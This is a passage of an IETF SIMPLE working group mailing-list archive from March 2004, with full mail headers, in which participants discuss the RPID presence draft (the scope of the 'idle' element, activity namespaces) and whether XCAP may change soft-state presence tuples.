	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 14:32:27 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mxM-0003Nq-BP
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 14:32:00 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29JW0WH012998
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 14:32:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mxL-0003NZ-Vc
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 14:31:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16789
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 14:31:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mxJ-0003NL-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:31:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0mwP-0003CZ-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:31:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mvT-00031j-00; Tue, 09 Mar 2004 14:30:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mvS-0003F8-Tx; Tue, 09 Mar 2004 14:30:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mvK-0003ER-LQ
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:29:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16650
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:29:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mvI-0002za-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:29:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0muR-0002q2-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:29:00 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mtl-0002ce-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:28:17 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29JRcNr015139;
	Tue, 9 Mar 2004 14:27:38 -0500 (EST)
Message-ID: <404E1A9F.6050907@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: hisham.khartabil@nokia.com, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com> <40451E20.7000801@dynamicsoft.com> <40453B49.3000901@cs.columbia.edu>
In-Reply-To: <40453B49.3000901@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:27:27 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> Jonathan Rosenberg wrote:
> 
>> My interpretation of Hennings current text:
>>
>> The <idle> records the absolute time and date the communication
>>    device was last used.
>>
>> was that "device" was limited to the IM client, for example. In such a 
>> case, it would mean the last time I sent an IM. I'm not sure why, on 
>> first read, I came to this conclusion, to be honest.
>>
>> I think if, the text is clarified as to the scope of device (i.e., the 
>> "PC" for a typical IM app) that would be fine.
> 
> 
> Probably depends on contact-type:
> - presentity: most recent usage for any device for presentity
> - device: obvious
> - service: the most recent usage across all devices being aggregated 
> into one tuple

I think that would be a good clarification. As a general rule, many of 
these things make sense in tuples of some types, but not others. 
Wherever possible, we should make that clear.

-Jonathan R.

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 14:35:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17023
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 14:35:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0n19-000438-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:35:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0n0E-0003sZ-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:34:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mzJ-0003j7-00; Tue, 09 Mar 2004 14:34:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mzJ-0003R9-4U; Tue, 09 Mar 2004 14:34:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mz4-0003Qf-Sx
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:33:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16868
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:33:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mz2-0003gq-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:33:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0my3-0003WN-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:32:44 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mx3-0003DY-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:31:41 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29JV0Nr015143;
	Tue, 9 Mar 2004 14:31:01 -0500 (EST)
Message-ID: <404E1B69.9010102@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Anders Kristensen <akristensen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com> <40435F39.6060904@dynamicsoft.com> <4045C823.4030902@cs.columbia.edu>
In-Reply-To: <4045C823.4030902@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:30:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> As far as I can tell, it is not possible in XML schemas to add tokens 
> later (e.g., by IANA registration). Thus, checking has to be done 
> outside of the schema verification.
> 
> Regardless of that, I'm inclined to leave this as IANA-registered, 
> although relying on IANA seems like a dicey proposition where only 
> institutions with a sense of time like the Catholic church would have 
> the patience to register additional activities (or other similar items).
> 
> I suspect that rather than collision, the most difficult issue, either 
> with namespaces, IANA registration or free-for-all, is allowing 
> automated handling by UIs and policy languages since it requires 
> upgrading lots of deployed systems.

Sure; but thats a separate problem.

I rather like Ander's suggestion of having the content of the activity 
element be another element, which has no value and whose name is the 
actual activity. Then, you can use XML namespaces to get what you want.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 14:36:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17105
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 14:36:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0n1C-0003Z0-RJ
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 14:35:58 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29JZwTt013692
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 14:35:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0n1C-0003Yl-Ns
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 14:35:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17041
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 14:35:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0n19-00043D-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:35:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0n0F-0003sh-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:34:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mzJ-0003j7-00; Tue, 09 Mar 2004 14:34:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mzJ-0003R9-4U; Tue, 09 Mar 2004 14:34:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0mz4-0003Qf-Sx
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:33:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16868
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:33:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mz2-0003gq-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:33:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0my3-0003WN-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:32:44 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0mx3-0003DY-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:31:41 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29JV0Nr015143;
	Tue, 9 Mar 2004 14:31:01 -0500 (EST)
Message-ID: <404E1B69.9010102@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Anders Kristensen <akristensen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com> <40435F39.6060904@dynamicsoft.com> <4045C823.4030902@cs.columbia.edu>
In-Reply-To: <4045C823.4030902@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 14:30:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Henning Schulzrinne wrote:

> As far as I can tell, it is not possible in XML schemas to add tokens 
> later (e.g., by IANA registration). Thus, checking has to be done 
> outside of the schema verification.
> 
> Regardless of that, I'm inclined to leave this as IANA-registered, 
> although relying on IANA seems like a dicey proposition where only 
> institutions with a sense of time like the Catholic church would have 
> the patience to register additional activities (or other similar items).
> 
> I suspect that rather than collision, the most difficult issue, either 
> with namespaces, IANA registration or free-for-all, is allowing 
> automated handling by UIs and policy languages since it requires 
> upgrading lots of deployed systems.

Sure; but thats a separate problem.

I rather like Ander's suggestion of having the content of the activity 
element be another element, which has no value and whose name is the 
actual activity. Then, you can use XML namespaces to get what you want.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 14:47:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17697
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 14:47:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nCh-0006AC-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:47:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nBp-0005yf-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:46:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nAz-0005nt-00; Tue, 09 Mar 2004 14:46:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nAx-0004of-1j; Tue, 09 Mar 2004 14:46:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nAr-0004nc-JF
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:45:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17563
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:45:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nAo-0005mL-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:45:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0n9x-0005bu-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:45:02 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0n99-0005R9-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:44:11 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i29JhwIw033431;
	Tue, 9 Mar 2004 13:43:59 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <404E1D9B.6020007@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "George Foti (QA/EMC)" <george.foti@ericsson.com>,
        "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was
 RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se> <404E1907.8050802@dynamicsoft.com>
In-Reply-To: <404E1907.8050802@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 13:40:11 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:
>>  
>> Lets leave the mandatory-ns element aside for the time being.
>> You stated that one should use XCAP to control *hard state* tuples only
>> What if a user changes other  soft tuples with XCAP.
> 
> 
> It is my understanding that they cannot.
> 
> This is enforced because the presence documents published through 
> PUBLISH are simply not reflected into the xcap hierarchy.

Is this normative? Does xcap forbid this, are are we just assuming that 
servers will never do it?


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 14:48:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17755
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 14:48:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nCl-0004vr-Ck
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 14:47:55 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29Jltuu018953
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 14:47:55 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nCl-0004vc-8Q
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 14:47:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17715
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 14:47:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nCi-0006AH-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:47:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nBq-0005ym-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 14:46:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nAz-0005nt-00; Tue, 09 Mar 2004 14:46:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nAx-0004of-1j; Tue, 09 Mar 2004 14:46:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nAr-0004nc-JF
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:45:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17563
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:45:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nAo-0005mL-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:45:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0n9x-0005bu-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:45:02 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0n99-0005R9-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:44:11 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i29JhwIw033431;
	Tue, 9 Mar 2004 13:43:59 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <404E1D9B.6020007@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "George Foti (QA/EMC)" <george.foti@ericsson.com>,
        "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was
 RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
References: <2DBF697D5B36014ABA46E66A96107DA02C95C7@lmc37.lmc.ericsson.se> <404E1907.8050802@dynamicsoft.com>
In-Reply-To: <404E1907.8050802@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 13:40:11 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:
>>  
>> Lets leave the mandatory-ns element aside for the time being.
>> You stated that one should use XCAP to control *hard state* tuples only
>> What if a user changes other  soft tuples with XCAP.
> 
> 
> It is my understanding that they cannot.
> 
> This is enforced because the presence documents published through 
> PUBLISH are simply not reflected into the xcap hierarchy.

Is this normative? Does xcap forbid this, are are we just assuming that 
servers will never do it?


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 15:00:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18305
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 15:00:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nPH-0000i1-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:00:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nOP-0000Y9-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 14:59:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nNX-0000OK-00; Tue, 09 Mar 2004 14:59:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nNV-0005TS-OJ; Tue, 09 Mar 2004 14:59:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nNN-0005T7-6U
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 14:58:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18200
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:58:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nNK-0000MD-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:58:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nMO-0000CU-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:57:53 -0500
Received: from ithilien.qualcomm.com ([129.46.51.59])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nLl-000037-00
	for simple@ietf.org; Tue, 09 Mar 2004 14:57:13 -0500
Received: from crowley.qualcomm.com (crowley.qualcomm.com [129.46.61.151])
	by ithilien.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29Jv8vf020494;
	Tue, 9 Mar 2004 11:57:09 -0800 (PST)
Received: from [129.46.227.161] (carbuncle.qualcomm.com [129.46.227.161])
	by crowley.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i29Jv6Vl000529;
	Tue, 9 Mar 2004 11:57:06 -0800 (PST)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
